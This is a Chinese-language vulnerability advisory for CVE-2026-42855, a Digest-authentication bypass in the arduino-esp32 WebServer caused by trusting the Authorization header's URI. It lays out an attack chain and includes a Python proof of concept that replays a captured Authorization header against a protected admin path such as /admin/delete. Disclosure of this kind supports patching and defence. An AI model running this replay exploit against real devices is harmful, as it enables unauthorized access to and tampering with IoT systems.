IPBUF安全漏洞报告
English
CVE-2026-42855 CVSS 7.5 高危

CVE-2026-42855 arduino-esp32认证绕过漏洞

披露日期: 2026-05-12

漏洞信息

漏洞编号
CVE-2026-42855
漏洞类型
认证绕过
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
arduino-esp32

相关标签

认证绕过arduino-esp32IoT安全WebServerDigest认证

漏洞概述

该漏洞存在于arduino-esp32的WebServer摘要认证实现中。在3.3.8版本之前,系统在计算认证哈希时,直接使用了客户端Authorization头部中的URI字段,而未验证该字段是否与实际请求的URI匹配。攻击者若拥有针对某个受保护资源(URI-A)的有效摘要响应,即可将其重放用于访问完全不同的受保护资源(URI-B),从而绕过基于资源的访问控制限制。该漏洞的CVSS评分为7.5,属于高危漏洞,严重影响系统的机密性。

技术细节

arduino-esp32的WebServer库在实现HTTP摘要认证(Digest Authentication)时存在逻辑缺陷。摘要认证的核心在于服务器和客户端共享一个秘密(密码),并基于请求方法、URI和随机数(nonce)计算哈希值。正常流程下,服务器应验证客户端请求的行URI与Authorization头部中用于计算哈希的URI是否一致。然而,受影响版本的代码仅依赖Authorization头部中的uri参数进行哈希校验,忽略了HTTP请求行中的实际路径。这意味着,一旦攻击者获取了针对路径/admin/login的有效认证哈希,他们可以通过构造新的HTTP请求,将请求行改为/admin/config,但保留之前针对/admin/login生成的Authorization头部。由于服务器错误地使用了Authorization头部中的旧URI来验证哈希,验证通过,导致攻击者成功认证并访问未授权的资源。这是一个典型的请求参数不一致导致的访问控制绕过漏洞。

攻击链分析

STEP 1
侦察
攻击者识别出目标设备运行的是受影响版本的arduino-esp32 WebServer,并启用了Digest认证。
STEP 2
凭证/哈希获取
攻击者通过某种方式(如已知弱口令、嗅探或拥有低权限账户)获取了针对某个受保护或公开资源URI-A的有效Digest认证哈希值。
STEP 3
构造恶意请求
攻击者构造一个新的HTTP请求,目标指向高权限资源URI-B,但在Authorization头部中填入之前获取的针对URI-A的哈希值。
STEP 4
认证绕过与访问
服务器收到请求后,仅验证Authorization头部中的哈希是否有效(基于头部中的URI),未比对请求行中的实际URI。验证通过,攻击者成功访问URI-B。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target configuration target_base = "http://192.168.1.100" accessible_uri = "/public/status" # URI the attacker can access protected_uri = "/admin/delete" # URI the attacker wants to access username = "admin" password = "password" # Step 1: Obtain a valid Authorization header for the accessible URI # The server generates the hash based on the 'accessible_uri' session = requests.Session() session.auth = requests.auth.HTTPDigestAuth(username, password) response = session.get(f"{target_base}{accessible_uri}") # Extract the valid Authorization header valid_auth_header = response.request.headers['Authorization'] print(f"[+] Captured Auth header for {accessible_uri}: {valid_auth_header}") # Step 2: Replay the header to access the protected URI # The vulnerability allows using the hash for 'accessible_uri' to access 'protected_uri' exploit_headers = { "Authorization": valid_auth_header } # Send request to the protected resource using the captured header exploit_response = requests.get(f"{target_base}{protected_uri}", headers=exploit_headers) if exploit_response.status_code == 200: print(f"[+] Exploit successful! Accessed {protected_uri}") print(f"[+] Response: {exploit_response.text}") else: print(f"[-] Exploit failed. Status code: {exploit_response.status_code}")

影响范围

arduino-esp32 < 3.3.8

防御指南

临时缓解措施
如果无法立即升级固件,建议暂时关闭WebServer接口或通过网络访问控制列表(ACL)限制对设备Web管理界面的访问,仅允许可信IP连接。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表